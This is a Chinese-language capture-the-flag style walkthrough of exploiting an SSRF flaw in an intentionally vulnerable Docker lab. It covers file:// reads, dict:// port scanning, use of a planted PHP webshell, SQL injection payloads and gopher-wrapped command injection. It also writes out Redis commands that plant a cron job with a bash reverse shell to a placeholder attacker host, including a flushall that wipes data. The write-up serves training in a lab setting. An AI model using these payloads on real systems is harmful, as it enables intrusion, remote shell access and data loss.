利用SSRF击穿内网！kali靶机实验

目录

1. 靶场拓扑图

2. 判断SSRF的存在

3. SSRF获取本地信息

3.1. SSRF常用协议

3.2. 使用file协议

4. 172.150.23.1/24探测端口

5. 172.150.23.22 - 代码注入

6. 172.150.23.23 SQL注入

7. 172.150.23.24 命令执行

7.1. 实验步骤

8. 172.150.23.27:6379 Redis未授权

8.1. Redis unauth 应用详情

8.1.1. 清空 key（实战中最好不要使用该命令）

8.1.2. 设置要操作的路径为定时任务目录

8.1.3. 在定时任务目录下创建 root 的定时任务文件

8.1.4. 写入 Bash 反弹 shell 的 payload

8.1.5. 保存上述操作

---

 

首先我们利用到的国光老师制作的与ssrf相关的靶场资源链接：Github - sqlsec/ssrf-vuls

以下是部分靶场的实验，均为自己手动试过

利用docker容器搭建kali靶场，启动靶场会有端口映射，对IP地址和端口进行访问，实现访问靶场，

这种状态类似搭建了一个服务器，我们输入IP加端口进行访问，就像访问公网一样，我们可以利用该ssrf漏洞对内网其他地址进行访问攻击，如下图

1. 靶场拓扑图

192.168.119.128：目前虚拟机IP

借用下图对该靶场进行更好的理解，其他地址就是其他服务器。具有ssrf漏洞的服务器就像一个跳板，我们借用该跳板对其他服务器进行访问敏感数据，在该靶场中，我们任务就是找到相应flag

 

先理清一下攻击流程，172.72.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞，并且 80 端口映射到了公网的 8080，此时攻击者通过这个 8080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。

2. 判断SSRF的存在

有对外进行网络请求的地方，就可能存在ssrf，当开启靶场后，我们事先访问一番IP+映射端口

192.168.119.128:9080

 

 

可以进行网站请求，进行测试，对公网进行访问，比方说百度

 

通过图中显现，测试成功，接下来对内网IP 127.0.0.1 进行测试，看看是否可以访问

 

测试依然成功，通过两次测试，基本可以判定是ssrf漏洞，它并没有对用户的输入进行过滤或者验证，导致可以对任意外网或者内网进行访问。

也就是我们接下来可以对该内网进行访问

3. SSRF获取本地信息

正常业务情况是请求网站然后响应内容，但是没做好过滤可以使用其他协议，配合 file 协议来读取本地的文件信息。

当我们确认漏洞是ssrf后，我们还需要知道该IP地址是什么，然后对该网段进行判断，进行攻击

3.1. SSRF常用协议

http://：探测内网主机存活、端口开放情况

gopher://：发送GET或POST请求；攻击内网应用

dict://：泄露安装软件版本信息，查看端口，操作内网远程访问等

file://：读取本地文件

接下来我们使用相关协议对该服务器进行信息收集

由于我们什么信息都不知道，首先采用file协议来获取本地信息

3.2. 使用file协议

file:///etc/hosts

 

为什么使用hosts文件呢，因为hosts文件中会保存自己的IP地址。

权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

172.150.23.21 得到了该地址，就可以对该网段进行搜集了，探测内网端口

4. 172.150.23.1/24探测端口

常用端口80，8080，6379，3306，网段:21到40，扫一下，因为我们目前是上帝视角，就爆破这几个熟悉流程即可

对于探测端口，我们常使用dict协议

dict://：泄露安装软件版本信息，查看端口，操作内网远程访问等

 

使用bp进行爆破，将d段与端口添加

 

- sniper（狙击手攻击）：这种攻击使用单一的有效载荷集和一个或多个有效载荷位置。它将每个有效载荷依次放入第一个位置、第二个位置，依此类推。

- battering ram（攻城槌攻击）：这种攻击使用单一的有效载荷集。它遍历这些有效载荷，并将相同的有效载荷同时放入所有定义的有效载荷位置。

- pitchfork（干草叉攻击）：这种攻击使用多个有效载荷集（每个定义的位置对应不同的有效载荷集，最多20个）。攻击同时遍历所有有效载荷集，先使用每个集中的第一个有效载荷，然后是每个集中的第二个有效载荷，依此类推。

- cluster bomb（集束炸弹攻击）：这种攻击使用多个有效载荷集（每个定义的位置对应不同的有效载荷集，最多20个）。攻击依次遍历每个有效载荷集，以测试有效载荷组合的所有排列。

使用cluster bomb模块

通过爆破发现21：80，22：80，23：3306，23：80，24：80，呃直接看图吧

 

 

比对前面开头的拓扑图，一一匹配，信息收集完毕，接下来使用SSRF漏洞来进行内网攻击

5. 172.150.23.22 - 代码注入

既然我们探测到了这些端口，接下来对其进行实验

访问172.150.23.22

 

返回一个界面，思考一下，就单一个界面，我们接下来应该是对其进行目录扫描，看看是否有隐藏目录，然后对隐藏目录进行访问

172.150.23.22/222.php

对网址后面添加php文件，在bp中对其进行爆破访问《类型php文件》

 

通过爆破，发现两个文件具有回显，并且是典型的敏感文件和一句话木马

1. phpinfo.php-------》获得了PHP版本信息，并且还有系统信息

 

1. shell.php 一句话木马，接下来可以利用一句话木马进行命令执行

 

使用get传参进行代码注入172.150.23.22/shell.php?cmd=ls出现了以下信息

 

1. 172.150.23.22/shell.php?cmd=cat%20/etc/hosts cat后面的空格要改为%20，才能进行访问hosts

 

1. 但是我们需要找到flag，如果从 BP 里面抓包请求的话，空格得写成 %2520，即两次 URL 编码才可以顺利执行命令：172.150.23.22/shell.php?cmd=cat%20/flag

 

6. 172.150.23.23 SQL注入

访问该站点，是一个SQL注入类型的靶场

 

?id=1 正常查询加上’出现错误，为报错注入，使用报错注入语句直接秒了

 

http://172.150.23.23/?id=1%20and%201=2%20union%20select%20version(),user(),3,database()--+

报错语句带出相关信息

 

172.150.23.23?id=1'%20and%20(select%20extractvalue("anything",concat('~',(select%20user()))))--+

 

7. 172.150.23.24 命令执行

172.72.23.24 是一个经典的命令执行，通过 POST 方式攻击者可以随意利用 Linux 命令拼接符 ip 参数，从而导致任意命令执行：

 

这种场景和之前的攻击场景稍微不太一样，之前的代码注入和 SQL 注入都是直接通过 GET 方式来传递参数进行攻击的，但是这个命令执行的场景是通过 POST 方式触发的，我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据，这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了，gopher 的基本请求格式如下：

 

注意几点：

1. Content-Length需要正确设置，用Burp发一次，会自动计算
2. 需要URL编码一次
3. 删除Accept-Encoding，否则结果会被两次编码(至善一个)
4. 格式：gopher://172.72.23.24:80/_<编码后POST数据包>

7.1. 实验步骤

1. 输入127.0.0.1 ping一下本地，没有回显，此时使用bp拦包，网址为post请求

 

bp拦截

 

1. 在ssrf中无法使用HTTP协议来传递post数据，因此要使用一个gopher协议，接下来就是如何将数据变成gopher协议符合的格式。

 

1. 事先我们需要将上图中红框中的规则删去，因为如果它存在，请求出去的信息将会被两次编码，导致信息流错误，使无法正常gopher。

 

1. 我们要构造属于172.150.23.24的gopher协议，因此需要将Host改为172.150.23.24

并且将无关信息删除，框住的，?id=1也删去

 

1. 改为下面样子并且发送一次，会改变长度为适合的长度。

 

 

1. 对剩下的内容进行两次url编码

 

1. 重新抓一个原始包，接下来就是将编码的数据流粘贴到这个包中，构造gopher协议

 

1. gopher://172.150.23.24:80/_ ------>下划线：因为gopher协议在传输过程中会吞掉一个字符，这个字符任意都可以，

 

将；后面的指令更改，再编码两次构造协议同理可以查到其他信息。

8. 172.150.23.27:6379 Redis未授权

8.1. Redis unauth 应用详情

内网的 172.72.23.27 主机上的 6379 端口运行着未授权的 Redis 服务，系统没有 Web 服务（无法写 Shell），无 SSH 公私钥认证（无法写公钥），所以这里攻击思路只能是使用定时任务来进行攻击了。常规的攻击思路的主要命令如下：

dict://x.x.x.x:6379/<Redis 命令>

• 使用dict协议来简单判断是否存在未授权，执行info命令：dict://ip:port/info：

 

证实存在未授权，写入定时任务反弹shell，其基本payload：

flushall #删除所有key，保证我们的优先级最高

config set dir /var/spool/cron/ #设置目录，还有/etc/crontab或者/etc/cron.d/也是可以存放定时任务的地方

config set dbfilename root #文件名与用户名一致

set chenlvtnag "\n* * * * * /bin/bash -i >& /dev/tcp/Hacker_IP/2333 0>&1\n" #这里之所以有两个\n是为了保证写入的定时任务格式正确

save #保存

利用的时候，只需要用burp结合dict协议来逐条发包即可，最好url编码一次（受post中的&影响），不过不需要编码两次，因为这里不是http协议.

 

Redis 成功返回执行完 info 命令后的结果信息

8.1.1. 清空 key（实战中最好不要使用该命令）

dict://172.72.23.27:6379/flushall

8.1.2. 设置要操作的路径为定时任务目录

dict://172.72.23.27:6379/config set dir /var/spool/cron/

8.1.3. 在定时任务目录下创建 root 的定时任务文件

dict://172.72.23.27:6379/config set dbfilename root

8.1.4. 写入 Bash 反弹 shell 的 payload

dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333
0>%261\n"

8.1.5. 保存上述操作

dict://172.72.23.27:6379/save

SSRF 传递的时候记得要把 & URL 编码为 %26，上面的操作最好再 BP 下抓包操作，防止浏
览器传输的时候被 URL 打乱编码

Config set dir /var/spool/cron/ 相当于 cd /var/spool/cron/